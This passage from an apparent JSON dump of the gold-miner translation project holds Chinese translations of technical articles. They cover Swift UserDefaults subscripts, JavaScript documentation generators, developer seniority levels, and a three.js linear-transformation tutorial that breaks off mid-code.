方法封装成支持范型的下标语法形式：\n\n```\nextension UserDefaults {\n\n    subscript<T>(key: String) -> T? {\n        get {\n            return value(forKey: key) as? T\n        }\n        set {\n            set(newValue, forKey: key)\n        }\n    }\n}\n\nclass SettingsService {\n\n    var isNotificationsEnabled: Bool {\n        get {\n            return UserDefaults.standard[#function] ?? true\n        }\n        set {\n            UserDefaults.standard[#function] = newValue\n        }\n    }\n}\n```\n\n它看起来已经很整洁了！但是 _Enums_ 呢？🤔\n\n```\nenum AppTheme: Int {\n    case light\n    case dark\n}\n\nclass SettingsService {\n\n    var appTheme: AppTheme {\n        get {\n            if let rawValue: AppTheme.RawValue = UserDefaults.standard[#function], let theme = AppTheme(rawValue: rawValue) {\n                return theme\n            }\n            return .light\n        }\n        set {\n            UserDefaults.standard[#function] = newValue.rawValue\n        }\n    }\n}\n```\n\n这里可以重构！\n\n4. 让我们为 _RawRepresentable_ 值编写一个类似的 _subscript_： \n\n```\nextension UserDefaults {\n    \n    subscript<T: RawRepresentable>(key: String) -> T? {\n        get {\n            if let rawValue = value(forKey: key) as? T.RawValue {\n                return T(rawValue: rawValue)\n            }\n            return nil\n        }\n        set {\n            set(newValue?.rawValue, forKey: key)\n        }\n    }\n}\n\nclass SettingsService {\n    \n    var appTheme: AppTheme {\n        get {\n            return UserDefaults.standard[#function] ?? .light\n        }\n        set {\n            UserDefaults.standard[#function] = newValue\n        }\n    }\n}\n```\n\n\n马上完成啦！请注意，此扩展仅适用于使用 _RawRepresentable_ 的枚举。\n\n* * *\n\n> 别忘了订阅我的 [telegram channel](http://bit.ly/2xaqaYR)！第一时间了解 iOS 世界的有趣新闻和文章！\n\n* * *\n\n希望你能喜欢我写的 extension！如果你有任何改进它的想法请告诉我！查看 _UserDefaults._ 的[最新版本 extension](https://gist.github.com/Otbivnoe/04b8bd7984fba0cb58ca7f136fd95582) 尽情地体验一下吧：）\n\n![](https://cdn-images-1.medium.com/max/800/1*s9Rzi_gHLe5rllzlj5ox1A.png)\n\n这就是在构建 ITC 时候的我\n\n一个在 [Rosberry](http://www.rosberry.com) 工作的毛发浓密的 iOS 工程师。热衷响应式编程，开源爱好者，循环引用检测人。：）\n\n感谢 [Evgeny Mikhaylov](https://medium.com/@evgenmikhaylov?source=post_page) 和 [Rosberry](https://medium.com/@Rosberry?source=post_page)。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/lets-talk-js-documentation.md",
    "content": "> * 原文地址：[Let's talk JS ⚡: documentation](https://areknawo.com/lets-talk-js-documentation/)\n> * 原文作者：[Arek Nawo](https://areknawo.com/author/areknawo/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/lets-talk-js-documentation.md](https://github.com/xitu/gold-miner/blob/master/TODO1/lets-talk-js-documentation.md)\n> * 译者：[Starrier](https://github.com/Starriers)\n> * 校对者：[wznonstop](https://github.com/wznonstop), [SHERlocked93](https://github.com/SHERlocked93)\n\n# 讨论 JS ⚡：文档\n\n如果你曾经参与过开源项目，或大到需要文档的项目，那么你应该知道编写一个合格的文档是多么的重要。此外，文档需要始终保持最新，并且应包含所有公共 API。因此，如何制作**完美的文档呢**？本文的目标就是用 JS 的风格来解决这个问题！⚡  \n\n![two person holding ceramic mugs](https://images.unsplash.com/photo-1521798552185-ee955b1b91fa?ixlib=rb-1.2.1&q=80&fm=jpg&crop=entropy&cs=tinysrgb&w=1080&fit=max&ixid=eyJhcHBfaWQiOjExNzczfQ)\n\nPhoto by [rawpixel](https://unsplash.com/@rawpixel?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit) / [Unsplash](https://unsplash.com/?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit)\n\n## 而且只有两种方法...\n\n为你的项目编写文档的方法只有两种。即：**自己写**或者**自动生成**。这里没有黑魔法，也别无他法.\n\n那么，我们先开始研究“自己写文档”。在这个场景中，你可以轻松地创建漂亮的文档站点。当然，这将需要你做更多的工作，但如果你认为这是值得的，那就去做吧。👍当然，你需要考虑保持你的文档的实时性，这也会造成额外的时间花费。可定制化是最大的优势。你的文档可能会使用 **markdown**（最常见的 [**GFM**](https://guides.github.com/features/mastering-markdown)）编写的 — 它只是一种标准。你可以让它看起来很漂亮，如果你正在创建 OSS 的话，这一点很重要。有一些库可以帮助你完成这项任务，之后我们将会深入了解它们。\n\n接下来，我们可以选择从代码本身生成文档。很明显，这也不是那么直截了当的事情。首先，你必须使用像 [**JSDoc**](http://usejsdoc.org) 这样的工具，以 **JavaDoc-like** 注释的形式编写文档。所以，并不是说可以直接就生成文档。现在 **JSDoc** 已经很优秀了。我的意思是，看看它的官方文档，看看你能使用多少标签。此外，现代代码编辑器将获取你的类型定义和其他描述，在开发过程中帮助你使用自动完成和弹出文档的功能。在你写简单的 markdown 时，是不会实现这种效果的。当然，你需要单独写诸如 **README** 这样的文件，而生成的文档则会有些程序化，但我认为这不是什么大问题。\n\n## 选择正确的工具...\n\n因此，假设你已经决定手动创建文档（或者应该说是用键盘），而且是使用 markdown（或者你只是从其他地方了解到了 markdown）。现在，你可能需要一个称为 **renderer** 的工具，它将把你的 MD（markdown）转换成 HTML、CSS 等漂亮的组合。这是在你不仅仅想把它发布到 GitHub、GitHub 的 wiki 上时的方案。或者你想让 MD 附加一个额外的 **reader**（[就像这样](https://typora.io)）。现在，为了解决这个任务（IMHO），我将为你列出一些最好的工具。😉\n\n### [Docsify](https://docsify.js.org)\n\n![](https://areknawo.com/content/images/2018/12/Screenshot-from-2018-12-14-19-27-21.png)\n\nDocsify 登录界面\n\n**Docsify** 是**一个神奇的文档站点生成器**。它很好地完成了文档生成的任务。重要的是，它可以**动态地**呈现你的文档，这意味着你无需将 MD 解析为 HTML — 只需要将你的文件放在正确的位置即可！除此以外，Docsify 有大量插件和一些主题可供选择。它也有很好的文档记录（就像文档生成器一样）。当[我自己项目的文档](https://areknawo.github.io/Rex)使用这个工具时，我可能会有些偏见。它唯一的问题是（至少对我来说）与 IE 10（正如其在主页上所说）的兼容性不是很好（但是他们正在尝试进行兼容），而且它对**相关链接缺少必要的支持**。\n\n### [Docute](https://docute.org)\n\n![](https://areknawo.com/content/images/2018/12/Screenshot-from-2018-12-14-19-49-19.png)\n\nDocute v4 文档\n\n**Docute** 是一个类似于 Docsify 的工具，但它有一个**可爱的名字**。最新的版本（v4）相比[上一个版本](https://v3.docute.org)要少一些文档，同时也进行了一定程度的简化。生成的文档看起来简约而优雅。可以使用 **CSS 变量** 定制主题。Docute 不像 Docsify 那样拥有强大的插件系统，但它有着自己的优势。它建立在 Vue.js 之上，这导致包的大小相比于 Docsify 要大些，但扩展性好了很多。比如，在你的 MD 文件中，你可以使用一些内置的 Vue 组件，甚至你自己的组件。\n\n### [Slate](https://github.com/lord/slate)\n\n![](https://areknawo.com/content/images/2018/12/Screenshot-from-2018-12-14-20-19-16.png)\n\nSlate 文档\n\n**Slate** 可能是在 GitHub 上记录你的项目以及小星星数量的领头羊（**~25,000**）。它的文档清晰，语法可读性好，且有 everything-on-one-page 的特点。还具有非常可靠的 GH wiki 文档。它允许[深度主题化](https://github.com/lord/slate/wiki/Custom-Slate-Themes) ，但因为文档提供的信息不多，所以你需要自己去源码挖掘。遗憾的是，它的可扩展性很差，但胜在功能丰富，对于那些需要 **REST** API 文档的人来说，这似乎是一个不错的选择。请记住，Slate 生成的是静态 HTML 文件，而不是在运行中动态生成文件\n\n![](https://areknawo.com/content/images/2018/12/Screenshot-from-2018-12-14-20-35-03.png)\n\nDocusaurus 登录界面\n\n### [Docusaurus](https://docusaurus.io)\n\n**Docusaurus** 是一个**易于维护开源文档生成网站**的工具。它是由 Facebook 创建的，使用的是 — 没错，就是它 — React。它可以将 React 组件和库轻松地转换或集成为一个整体来创建自定义页面。无需其他工具，它还可以建立额外的 **blog** 直接整合到你的文档网站，甚至无需其他工具！它可以与 [Algolia DocSearch](https://community.algolia.com/docsearch) 很好地集成，使你的文档易于导航。就像 Slate 一样，它会生成静态 HTML 文件。\n\n![](https://areknawo.com/content/images/2018/12/Screenshot-from-2018-12-14-21-27-48.png)\n\nVuePress 登录界面\n\n### [VuePress](https://vuepress.vuejs.org)\n\n**VuePress** 是一个 **Vue 驱动的静态站点生成器**，由 Vue.js 的创始人开发。这也是生成 Vue.js 官方文档的可靠工具。作为一个生成器，它有非常友好的文档。它还具有一个强大的插件和主题系统，当然也继承了优秀的 Vue.js。uePress 宣称其对 SEO 友好，这是因为它生成并输出的是 HTML 文件。\n\n![](https://areknawo.com/content/images/2018/12/Screenshot-from-2018-12-14-21-39-29.png)\n\nGitBook 登录界面\n\n### [GitBook](https://www.gitbook.com)\n\n**GitBook** 是用于编写 MD 文档和文本的工具。它为你提供了一个在线编辑器和免费 **.gitbook.io** 域名体验。毫无疑问，在线编辑器很棒，但是涉及到布局，它并没有太多的可定制性。该编辑器还有它的遗留桌面版本。但除非你是在做一个开源的项目，否则你需要为此付费。\n\n## 生成器！\n\n既然我们已经介绍了最好的文档制作工具，那我们接下来开始使用生成器，好不？生成器主要允许你从带注释的代码中创建文档。\n\n![](https://areknawo.com/content/images/2018/12/Screenshot-from-2018-12-14-21-54-31.png)\n\nJSDoc 登录页面\n\n### [JSDoc](http://usejsdoc.org)\n\n**JSDoc** 可能是 JS 最明显和最有名的文档生成器。它支持非常多的标签，并且对几乎所有的编辑器和 IDE 自动完成功能友好。它的输出可以使用多种主题进行定制。并且主题的种类非常多。更有意思的是，使用这个和其他生成器，你可以输出 **markdown**，以便之后与上面所列的任何文档工具一起使用。\n\n![](https://areknawo.com/content/images/2018/12/Screenshot-from-2018-12-14-22-01-26.png)\n\nTypeDoc 登录页面\n\n### [TypeDoc](https://typedoc.org)\n\n**TypeDoc** 可视为 [TypeScript](https://www.typescriptlang.org) 的 JSDoc。它榜上有名的主要原因是，支持 TS 类型的文档生成器很少（或者说没有）。通过使用该工具，你可以基于 TypeScript 类型系统来生成文档，包括接口和枚举等结构。遗憾的是，它只支持一小部分 JSDoc 标记，没有 JSDoc 这样的大社区。因此，它没有太多的主题，文档匮乏。IMO 有效使用该工具的最佳方法是使用 **markdown** 主题插件，并使用其中一个文档工具。 \n\n![](https://areknawo.com/content/images/2018/12/Screenshot-from-2018-12-15-09-44-43.png)\n\nESDoc 登录界面\n\n### [ESDoc](https://esdoc.org)\n\n**ESDoc** 在功能上与 JSDoc 相似。它支持类似于 JSDoc 的注释标签。它对文档代码风格测试或覆盖测试提供了可选的支持。它有大量的插件集合。此外，还有一些针对 TypeScript、Flow 和 markdown 输出的概念验证插件。\n\n![](https://areknawo.com/content/images/2018/12/Screenshot-from-2018-12-15-09-54-29.png)\n\n### [Documentation.js](https://documentation.js.org)\n\n**Documentation.js** 是现代文档生成器，它可以输出 HTML、JSON 或 markdown，具有极大的灵活性。它支持 ES 2017、JSX、Vue 模版和 Flow 类型。他还能进行**类型推断**以及原生 — JSDoc 标记。它有基于 underscore 模版的深度主题选项。遗憾的是，（对我来说）它不支持 TypScript。😕\n\n![](https://areknawo.com/content/images/2018/12/Screenshot-from-2018-12-15-10-14-11.png)\n\nDocumentJS 登录界面\n\n### [DocumentJS](https://documentjs.com)\n\n**DocumentJS** 是文档生成的解决方案，它不像上面的竞争对手那么受欢迎。支持大多数 JSDoc 和 Google 闭包编译器标记，还能够添加自定义的附加功能。它默认只生成可主题化的 HTML，但具有很强的扩展性。\n\n## 不一样的内容。。。\n\n上面我列出了一些标准文档工具和生成器。当然，它们可以一起用来创建好的文档。但是我想再给你推荐一个工具。你听说过 **literate programming** 么？也就是说，你可以**使用 markdown 语法**来写注释，并通过它来生成代码。它真的把你的代码变成了诗。\n\n![](https://areknawo.com/content/images/2018/12/Screenshot-from-2018-12-15-10-33-58.png)\n\nDocco 登录界面\n\n然后，你使用像 **[Docco](http://ashkenas.com/docco)** 这样的工具将你的 markdown 注释代码转换为带有代码片段的 markdown。我可以说这是新的尝试。😁\n\n## 你都知道了 😉\n\n我希望这篇文章至少能让你在创建文档时轻松一点。上面这个清单包含了质量顶尖并且维护良好（到目前为止）的项目。如果你喜欢这篇文章，请考虑分享它，你可以在 Twitter 上关注我，或者订阅下面的邮件列表来获取更多优秀的文章。🦄\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/levels-of-seniority.md",
    "content": "> * 原文地址：[Levels of Seniority](https://roadmap.sh/guides/levels-of-seniority)\n> * 原文作者：[Kamran Ahmed](https://twitter.com/kamranahmedse)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/levels-of-seniority.md](https://github.com/xitu/gold-miner/blob/master/TODO1/levels-of-seniority.md)\n> * 译者：[👊Badd](https://juejin.im/user/5b0f6d4b6fb9a009e405dda1)\n> * 校对者：[Imsiaocong](https://github.com/Imsiaocong), [PingHGao](https://github.com/PingHGao)\n\n# 论资历的级别\n\n> 作为初级、中级或高级开发人员如何脱颖而出？\n\n一直以来，我都在重做[路径图](https://roadmap.sh) —— 根据资历级别划分技能组，使它们更容易遵循，以免吓跑新入行的开发者。因为这些路径图只是关于技术知识的，所以我想有必要把它们回顾一遍，并且写一篇文章来表达我对不同资历职位的思考。\n\n我已经见过太多组织在给开发者评定资历时过于注重工作年数。我见过顶着“初级”头衔的开发者干着高级开发者的活儿，也见过有的“领头”开发者其实连“高级”头衔都不配。开发者的资历不应该只凭他们的年龄、工作年数或掌握的技术知识来定。还有其他因素要考虑 —— 对工作的认知、与同事的相处以及解决问题的方式。下面，我们就针对每个资历等级，详细讨论这三个关键因素。\n\n### 不同的资历头衔\n\n不同的组织可能会设置不同的资历头衔，但主要可以归为三类：\n\n* 初级开发者\n* 中级开发者\n* 高级开发者\n\n### 初级开发者\n\n初级开发者通常是应届毕业生，他们的行业经验为零或者极少。他们不但编程能力薄弱，而且会在其他一些方面暴露新手的短板：\n\n* 他们的口头禅是“能用就行”，从不关心解决方案是如何实现的。在他们眼里，能用的软件和优秀的软件没什么不同。\n* 他们通常需要非常具体和结构化的方向才能实现目标。他们眼界不够开阔，需要监督和持续的引导，才能成长为高效率的团队成员。\n* 大多数初级开发者都觉得自己做到初级就够了，当他们遇到难题，他们会甩给高级开发者，甚至不愿意浅尝一下。\n* 他们不了解公司的业务层面，没有管理、销售、市场等岗位的思维意识，也不明白如果能了解这些业务层面的东西，能避免多少次返工、无用的努力以及终端用户的流失。\n* 总是过度工程化，常常导致程序的健壮性差、Bug 多。\n* 面对问题时，他们往往只会尝试解决眼前的问题，也就是治标不治本。\n* 你会注意到，他们经常遇到“[别人的问题](https://en.wikipedia.org/wiki/Somebody_else%27s_problem”。\n* 由于[达克效应](https://en.wikipedia.org/wiki/Dunning%E2%80%93Kruger_effect)，他们不知道自己的认知盲区在哪里、有多大。\n* 他们欠缺积极性，害怕面对不熟悉的代码库。\n* 他们不参与团队讨论。\n\n没必要觉得在团队里扮演初级开发者的角色是一件坏事，既然你刚入行，大家也不期望你全知全能，然而，你有责任去学习、积累经验、摘掉菜鸟的帽子并提升你自己。下面是一些建议，能帮助初级开发者在资历的阶梯上不断攀登：\n\n* 只要功夫深，铁杵磨成针。当你在 Stack Overflow 或者 GitHub 中也找不到答案时，不要放弃。跟带你的前辈说“我遇到难题了，已经试过了 X 方案、Y 方案和 Z 方案。你能给我一些指点吗？”，总好过说“这太难了，我搞不定”。\n* 大量阅读代码，不要局限于你所做的项目的代码，还有引用/框架的源码、开源代码。向你的开发伙伴 —— 也可以在 Reddit 上 —— 取取经，找找你所选择的语言/工具的开源范例。\n* 做一些个人项目，并和其他人分享，为开源做贡献。向他人求助 —— 社区能带给你的帮助会让你大吃一惊。我至今还记得大概六年前我在 GitHub 上第一次开源我自己的项目，那是一个小小的 PHP 脚本（一个库），能够从 Google 的地理 API 请求数据 —— 代码写得一团糟，没有经过任何测试，毫无代码美化，完全没有代码嗅探，而且没使用任何脚手架，因为那时候我对这些统统不了解。不知是何契机，一位好心人发现了这个项目，并且一路 Fork、重构、“现代化”、增加代码美化和嗅探、增加脚手架、发起 Pull Request。这个 Pull Request 教会了我太多，单靠我自己绝对不会学得这么快，因为我还在上学，在一家做服务的小公司兼职，做一些小网站，完全单打独斗，不知对错。GitHub 上的这个 Pull Request 帮我打开了开源的大门，我所有的一切都要归功于它。\n* 不要养成[“都是别人的事，与我无关”](https://en.wikipedia.org/wiki/Somebody_else%27s_problem)这样的毛病。\n* 解决问题时，要试着抓住问题的根本，而非只解决表面。记住，不能重现的问题就是没有解决的问题。仅当你理解了问题出现的原因，以及不再出现的原因，你才算解决了它。\n* 要尊重你接手的代码。要宽容看待代码的结构或设计理念。要明白代码的丑陋和奇怪往往都自有其原因。学会和遗留代码和平相处，并与其共同成长，这是一个重要技能。不要觉得别人都很蠢。相反，要弄清楚这些聪明的、善意的、有经验的人是如何做出现在这个愚蠢的决定的。用“机会心态”而不是抱怨的心态来接手遗留代码。\n* 有所不知很正常。你不必因为自己不知道而羞愧。世界上不存在愚蠢的问题，尽可能多地提问题可以让你更有效率地工作。\n* 不要让你的职称限制你，要坚持不懈地自我提升。\n* 做好功课，预测接下来会发生什么。要积极参与团队讨论，即使你说错了，那你也有所斩获。\n* 了解你的工作所在的领域。从终端用户的角度全面地理解产品。不要想当然，有疑问时就发问、一探究竟。\n* 学会有效沟通 —— 软技能很重要。学会如何写出漂亮的 Email、如何汇报工作、如何三思而后问。\n* 近距离接触高级开发者，看看他们是如何工作的，找一个做你的导师。没人喜欢万事通。放低自我，以谦逊的态度向有经验的人学习。\n* 不要迷信“专家”的建议，要有自己的判断。\n* 如果让你评估某些工作，在你掌握了能做出合理评估的所有细节前，不要妄下言论。如果实在迫不得已，那就以双倍甚至更高的预备量去考虑，这取决于你对完成任务的必要工作知道多少。\n* 花些时间去学习如何使用调试工具。当遇到全新的、没有文档或者文档不全的代码库，或者调试疑难杂症时，调试工具是十分得力的助手。\n* 尽量不要说“在我电脑上是好的呀” —— 是是是，我听过一万遍了。\n* 试着把任何不足感或冒名顶替综合征（Imposter Syndrome）转化为能量，推动自己前进，增加自己的技能和知识。\n\n### 中级开发者\n\n比初级开发者高一级的是中级开发者。他们的技术水平比初级开发者高，能够在最少的监督下保持工作。要想跃进高级开发者的龙门，他们还得解决一部分问题。\n\n中级开发者比初级开发者更能胜任工作，他们开始审视他们之前所写的代码中的瑕疵，他们的知识量增长了，但却陷入了下一个陷阱，也就是想要用对的方式实现，结果搞砸，比如抽象过于草率、过度使用或非必要使用设计模式 —— 他们可能能够比初级开发者更快地给出解决方案，但那个解决方案可能会在后续过程中把你绊倒。在无人监管时，他们可能会为了“正确实现”而使项目延期。他们不知道应该何时去做权衡，也不知道什么时候该教条，什么时候该务实。他们很容易对自己的解决方案产生依赖，变得目光短浅，无法接受反馈。\n\n中级开发人员非常普遍，大多数组织错误地将他们标记为“高级开发人员”。然而，他们需要更进一步的引导，才能成为高级开发者。下一部分描述了高级开发者的职责，以及如何成为高级开发者。\n\n### 高级开发者\n\n比中级开发者高一级的是高级开发者。他们能够独立完成任务，无需监督，也不会产生任何问题。他们更加成熟，在以往交付的或优或劣的软件中积累了经验，并从中学习 —— 他们知道如何务实。以下是高级开发人员通常会做的事情：\n\n* 根据他们过去的经验、所犯的错误、过度设计或设计不足的软件所面临的问题，他们能够预见问题，能够决定代码库或体系结构的方向。\n* 他们没有“发光玩具（Shiny-Toy）”综合征。他们在执行中非常务实。他们可以在需要的时候做出权衡，而且他们知道为什么。他们知道在什么地方应该教条，在什么地方应该务实。\n* 他们对开发领域有很深的了解，在大多数情况下知道什么是最适合这个工作的工具（即使他们不熟悉这个工具）。他们有学习新工具/语言/模式等以解决问题的天赋。\n* 他们有团队意识。他们将指导他人视为自己责任的一部分。从与初级开发人员进行结对编程，到从事编写文档或测试或其他任何需要完成的脏活儿累活儿。\n* 他们对所在的领域有深刻的理解 —— 他们了解公司的业务方面，了解管理/销售/市场营销等岗位的思维模式，并在发展过程中受益于他们对业务领域的理解。\n* 他们从不空洞地抱怨，他们根据经验证据做出判断，并能为解决问题提出建议。\n* 他们的思考量比代码量多得多 —— 他们知道他们的工作是针对问题提出解决方案，而不仅仅是敲代码。\n* 他们有能力处理庞大的、模糊的问题，能够定义、分解它们并各个击破。高级开发人员能够搞定一些庞大的、抽象的东西。他们会给出一些备选方案，与团队讨论并实施它们。\n* 他们尊重接手的代码。在对体系结构或代码库中的设计决策进行判别时，他们非常宽容。他们用“机会心态”而不是抱怨的心态来接手遗留代码。\n* 他们知道如何在不伤害他人的情况下提供反馈。\n\n### 总结\n\n所有的团队都是由不同资历的角色组成的。满足现状是一件坏事，你应该努力把自己提高到更高的等级。本文是基于我对行业的理念和观察，很多公司越来越依赖工作年数来评定资深程度，但这是一个蹩脚的刻度尺 —— 你的资历并不是随年龄增长的，你是通过不断解决不同类型的问题才积累的资历，不管你在行业里摸爬滚打了几年。我曾看到没有行业经验的应届毕业生迅速提升并完成高级工程师的工作，我也曾看到“高级”开发人员仅仅因为他们的年龄和“多年的经验”而被贴上“资深”的标签。\n\n要想在事业上有所进步，你需要具备的最重要的品质是不甘于平庸、心态开放、谦虚、从错误中吸取教训、解决有挑战性的问题、拥有机会心态而不是抱怨心态。\n\n话说到这里，这篇文章就该结束了。你对开发者的资历有什么看法？欢迎提出改进意见。下次再见!\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/linear-algebra-animating-linear-transformations-with-threejs.md",
    "content": "> * 原文地址：[Linear Algebra with JavaScript: Animating Linear Transformations with ThreeJS](https://medium.com/@geekrodion/react-for-linear-algebra-examples-grid-and-arrows-fa654127c57b)\n> * 原文作者：[Rodion Chachura](https://medium.com/@geekrodion)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/linear-algebra-animating-linear-transformations-with-threejs.md](https://github.com/xitu/gold-miner/blob/master/TODO1/linear-algebra-animating-linear-transformations-with-threejs.md)\n> * 译者：[lsvih](https://github.com/lsvih)\n> * 校对者：[lgh757079506](https://github.com/lgh757079506), [Stevens1995](https://github.com/Stevens1995)\n\n# JavaScript 线性代数：使用 ThreeJS 制作线性变换动画\n\n本文是“[JavaScript 线性代数](https://medium.com/@geekrodion/linear-algebra-with-javascript-46c289178c0)”教程的一部分。\n\n![[源码见 GitHub 仓库](https://github.com/RodionChachura/linear-algebra)](https://cdn-images-1.medium.com/max/2000/1*4yaaTk2eqnmn19nyorh-HA.png)\n\n最近我完成了一篇关于使用 JavaScript 进行线性变换的文章，并用 **SVG** 网格实现了 2D 的示例。你可以在[此处](https://juejin.im/post/5cefbc37f265da1bd260d129)查看之前的文章。但是，那篇文章没有三维空间的示例，因此本文将补全那篇文章的缺失。你可以在[此处](https://github.com/RodionChachura/linear-algebra)查看本系列文章的 GitHub 仓库，与本文相关的 commit 可以在[此处](https://github.com/RodionChachura/linear-algebra/tree/6e9b5fe7f037ec12b115c915f33b58ce5e2e9c1f)查看。\n\n## 目标\n\n在本文中，我们将制作一个组件，用于对三维空间的对象的线性变换进行可视化。最终效果如下面的动图所示，或者你也可以在[此网页](https://rodionchachura.github.io/linear-algebra/)体验。\n\n![applying different linear transformations on cube](https://cdn-images-1.medium.com/max/2532/1*BAZux9gneiVyZ-EjgkqEeg.gif)\n\n## 组件\n\n当我们要在浏览器中制作 3D 动画时，第一个想到的当然就是 [three.js](https://threejs.org/) 库啦。所以让我们来安装它以及另一个可以让用户移动摄像机的库：\n\n```bash\nnpm install --save three three-orbitcontrols\n```\n\n下面构建一个组件，它可以由父组件的属性中接收矩阵，并且渲染一个立方体的转换动画。下面代码展示了这个组件的结构。我们用 **styled-components** 和 **react-sizeme** 库中的函数对这个组件进行了包装，以访问颜色主题和检测组件尺寸的变化。\n\n```JavaScript\nimport React from 'react'\nimport { withTheme } from 'styled-components'\nimport { withSize } from 'react-sizeme'\n\nclass ThreeScene extends React.Component {\n  constructor(props) {}\n  render() {}\n\n  componentDidMount() {}\n\n  componentWillUnmount() {}\n\n  animate = () => {}\n\n  componentWillReceiveProps({ size: { width, height } }) {}\n}\n\nconst WrappedScene = withTheme(withSize({ monitorHeight: true })(ThreeScene))\n```\n\n在**构造函数**中，我们对状态进行了初始化，其中包括了视图的大小。因此，我们当接收新的状态值时，可以在 **componentWillReceiveProps** 方法中与初始状态进行对比。由于需要访问实际的 **DOM** 元素以注入 **ThreeJS** 的 **renderer**，因此需要在 **render** 方法中用到 **ref** 属性：\n\n```JavaScript\nconst View = styled.div`\n  width: 100%;\n  height: 100%;\n`\nclass ThreeScene extends React.Component {\n  // ...\n  constructor(props) {\n    super(props)\n    this.state = {\n      width: 0,\n      height: 0\n    }\n  }\n  \n  render() {\n    return <View ref={el => (this.view = el)} />\n  }\n  // ...\n}\n```\n\n在 **componentDidMount** 方法中，我们对方块变换动画所需要的所有东西都进行了初始化。首先，我们创建了 ThreeJS 的场景（scene）并确定好摄像机（camera）的位置，然后我们创建了 ThreeJS 的 **renderer**，为它设置好了颜色及大小，最后将 **renderer** 加入到 **View** 组件中。\n\n接下来创建需要进行渲染的对象：坐标轴、方块以及方块的边。由于我们需要手动改变矩阵，因此将方块和边的 **matrixAutoUpdate** 属性设为 false。创建好这些对象后，将它们加入场景（scene）中。为了让用户可以通过鼠标来移动摄像机位置，我们还用到了 **OrbitControls**。\n\n最后要做的，就是将我们的库输出的矩阵转换成 **ThreeJS** 的格式，然后获取根据时间返回颜色和转换矩阵的函数。在 **componentWillUnmount**，取消动画（即停止 anime frame）并从 **DOM** 移除 **renderer**。\n\n```JavaScript\nclass ThreeScene extends React.Component {\n  // ...\n  componentDidMount() {\n    const {\n      size: { width, height },\n      matrix,\n      theme\n    } = this.props\n    this.setState({ width, height })\n    this.scene = new THREE.Scene()\n    this.camera = new THREE.PerspectiveCamera(100, width / height)\n    this.camera.position.set(1, 1, 4)\n\n    this.renderer = new THREE.WebGLRenderer({ antialias: true })\n    this.renderer.setClearColor(theme.color.background)\n    this.renderer.setSize(width, height)\n    this.view.appendChild(this.renderer.domElement)\n\n    const initialColor = theme.color.red\n    const axes = new THREE.AxesHelper(4)\n    const geometry = new THREE.BoxGeometry(1, 1, 1)\n    this.segments = new THREE.LineSegments(\n      new THREE.EdgesGeometry(geometry),\n      new THREE.LineBasicMaterial({ color: theme.color.mainText })\n    )\n    this.cube = new THREE.Mesh(\n      geometry,\n      new THREE.MeshBasicMaterial({ color: initialColor })\n    )\n    this.objects = [this.cube, this.segments]\n    this.objects.forEach(obj => (obj.matrixAutoUpdate = false))\n    this.scene.add(this.cube, axes, this.segments)\n\n    this.controls = new OrbitControls(this.camera)\n\n    this.getAnimatedColor = getGetAnimatedColor(\n      initialColor,\n      theme.color.blue,\n      PERIOD\n    )\n    const fromMatrix = fromMatrix4(this.cube.matrix)\n    const toMatrix = matrix.toDimension(4)\n    this.getAnimatedTransformation = getGetAnimatedTransformation(\n      